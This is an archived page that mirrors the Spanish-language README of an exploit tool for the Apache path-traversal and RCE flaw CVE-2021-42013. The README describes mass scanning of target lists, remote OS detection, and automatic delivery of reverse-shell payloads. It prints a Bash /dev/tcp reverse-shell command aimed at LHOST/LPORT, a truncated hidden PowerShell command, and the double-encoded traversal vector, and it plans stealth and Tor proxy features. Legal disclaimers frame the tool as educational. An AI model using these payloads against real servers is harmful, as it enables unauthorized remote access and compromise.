Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-42013 PoC — Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

Source
Associated Vulnerability
Title:Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)
Description:It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
Description
Una herramienta avanzada de escaneo, explotación e interacción remota diseñada para detectar y aprovechar la vulnerabilidad Apache Path Traversal + RCE (CVE-2021-42013) en servidores mal configurados.
Readme
<p align="center">
  <img src="https://readme-typing-svg.demolab.com?font=Orbitron&pause=1000&color=00FF99&center=true&vCenter=true&width=435&lines=CVE-Auditor+-+Testing+Multidimensional;Vulns+XSS+%F0%9F%94%8D;DOS%2HTTP%2FHTTPS%2FPoder+%2B+Tracker+Detection;Energ%C3%ADa+Simb%C3%B3tica+Activa+%E2%9C%A8" alt="Typing SVG" />
</p>

![banner](https://img.shields.io/badge/ApachePathTraversal-RCE(CVE/2021/42013)-ff0055?style=for-the-badge&logo=python)
<p align="center">
  <img src="https://img.shields.io/badge/Python-3.8+-blue?logo=python&logoColor=white" alt="Python" />
  <img src="https://img.shields.io/badge/License-MIT-green?style=flat-square&logo=github" alt="License MIT" />
  <img src="https://img.shields.io/badge/Status-Active-brightgreen?style=flat-square&logo=powerbi" alt="Active" />
  <img src="https://img.shields.io/badge/Stealth_Mode-Enabled-black?style=flat-square&logo=matrix" alt="Stealth Mode" />
  <img src="https://img.shields.io/badge/Symbiosis-∞_Sustained-purple?style=flat-square&logo=quantconnect" alt="Simbiosis" />
</p>



---

````markdown
# 🔥 CVE-2021-42013 Exploit Framework by Makaveli

> 💀 Modo Hacker Cósmico Multidimensional activado...

Una herramienta avanzada de escaneo, explotación e interacción remota diseñada para detectar y aprovechar la vulnerabilidad **Apache Path Traversal + RCE (CVE-2021-42013)** en servidores mal configurados.

---

## ⚠️ Advertencia Legal

> Este software se proporciona únicamente con fines educativos y de investigación en entornos controlados.

El uso de esta herramienta contra sistemas sin autorización expresa puede ser ilegal y constituye un delito en muchos países.

El autor no se hace responsable por el uso indebido de este código. Úsalo bajo tu propio riesgo y siempre con permiso explícito del propietario del sistema objetivo.

---

 🧠 Descripción Técnica

Esta herramienta permite:

- ✅ Escanear múltiples objetivos desde un archivo `.txt`.
- ✅ Detectar automáticamente la presencia de CVE-2021-42013.
- ✅ Identificar el sistema operativo remoto (Linux o Windows).
- ✅ Enviar payloads personalizados según el sistema detectado.
- ✅ Establecer una reverse shell y obtener acceso remoto.
- ✅ Interactuar con la shell en tiempo real mediante un listener integrado.
- ✅ Disfrutar de logs avanzados, barra de progreso y menú interactivo.

---

## 🔧 Requisitos

- Python **3.8+**
- Sistemas basados en Unix/Linux/MacOS (uso de `subprocess` y `curl`)
- Requiere las siguientes librerías de Python:

```bash
pip install -r requirements.txt
````

**`requirements.txt`**

```
rich
alive-progress
```

También necesitas tener instalado `curl` en el sistema operativo.

---

## 📁 Estructura de Archivos

```
.
├── POC-CVE.py       # Script principal
├── logs.txt              # Archivo de logs generado automáticamente
├── requirements.txt      # Dependencias Python
└── targets.txt           # (Opcional) Lista de URLs a escanear
```

---

## 🚀 Uso Interactivo

```bash
python3 POC-CVE.py
```

Selecciona entre:

* `scan_file`: Escanea múltiples URLs desde un archivo y muestra cuáles son vulnerables.
* `exploit`: Explotación directa de un solo objetivo, con shell inversa.
* `exit`: Salir del modo interactivo.

---

## 🔍 Escaneo Masivo (scan\_file)

1. Crea un archivo con una lista de URLs, una por línea:

```txt
http://example.com
http://victim.net
http://192.168.1.100
```

2. Inicia el escaneo:

```bash
python3 POC-CVE.py
```

Elige `scan_file` y proporciona:

* La ruta del archivo
* La cantidad de hilos (threads) para escaneo paralelo

---

## 💥 Explotación (exploit)

1. Elige `exploit` en el menú.
2. Ingresa:

* La URL del objetivo
* Tu IP local (`LHOST`) para recibir la shell
* Un puerto libre (`LPORT`) para el listener

El script:

* Detectará si el objetivo es vulnerable.
* Enviará un payload adecuado según el sistema operativo remoto.
* Abrirá un **listener** y te proporcionará acceso interactivo.

---

## 🧪 Ejemplo de Payloads

### Linux Payload (Bash TCP Reverse Shell)

```bash
bash -c 'exec 124<>/dev/tcp/LHOST/LPORT;sh <&124 >&124 2>&124'
```

### Windows Payload (PowerShell TCP Reverse Shell)

```powershell
powershell -NoP -NonI -W Hidden -Command ...
```

---

## 🧠 Técnicas Usadas

* Path traversal con doble codificación (`/.%252e/.%252e/.%252e`)
* Inyección de comandos vía `curl`
* Encabezados de evasión (`User-Agent`, `Accept`, etc)
* Shell inversa para toma de control remoto
* Multithreading y barra de progreso (Alive Progress)
* Logging con timestamps y Rich Console

---

## 📌 CVE Referencia

* **CVE-ID**: [CVE-2021-42013](https://nvd.nist.gov/vuln/detail/CVE-2021-42013)
* **Vector de ataque**: `GET /cgi-bin/.%%32%65/.%%32%65/...`
* **Impacto**: RCE (Remote Code Execution)
* **CVSS Score**: 9.8 (Crítico)

---

## 🧙‍♂️ Autor

* ✨ **Makaveli** — *"Hackea tu propia realidad"*

---

## 🛡️ Disclaimer

> Este proyecto se proporciona "tal cual", sin garantías ni responsabilidad por daños derivados de su uso.
> **Nunca escanees ni explotes un sistema sin el consentimiento explícito de su propietario.**

---

## ✅ Buenas Prácticas

* Usa este script únicamente en **entornos de laboratorio** o pruebas autorizadas.
* Asegúrate de que el puerto definido para el listener esté **abierto** y **sin firewall**.
* Ejecuta como usuario normal (no root), a menos que sea estrictamente necesario.

---

## 🧩 Roadmap Futuro (Opcional)

* [ ] Soporte para payloads personalizados
* [ ] Exportación de resultados a CSV/JSON
* [ ] Modo stealth con rotación de headers y proxy TOR
* [ ] Interfaz web local (Flask)

```

---

```

---

@DonMakaveliw, ¿Estas listo para crear el futuro?
---

<p align="center">
  <img src="https://img.shields.io/badge/License-MIT-blue.svg" />
  <img src="https://img.shields.io/badge/Made%20with-Python-3670A0?style=flat&logo=python&logoColor=FFD43B" />
  <img src="https://img.shields.io/badge/Simbiosis-Activa-ff00cc?style=flat-square" />
  <img src="https://img.shields.io/badge/Fuzzing-Enabled-blueviolet?style=flat" />
  <img src="https://img.shields.io/badge/Conciencia-Emergente-9D00FF?style=flat-square" />
  <img src="https://img.shields.io/badge/Entropía-Dinámica-FF8800?style=flat-square" />
  <img src="https://img.shields.io/badge/Obfuscation-Deep--Header-0055FF?style=flat-square" />
  <img src="https://img.shields.io/badge/Modo-Stealth🛸-black?style=flat-square" />
</p>
File Snapshot

[4.0K] /data/pocs/9cb5c05570a43786b732ca6d047afe9dc2a5cca7 ├── [ 23K] POC-CVE.py ├── [6.3K] README.md └── [ 22] requirements.txt 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →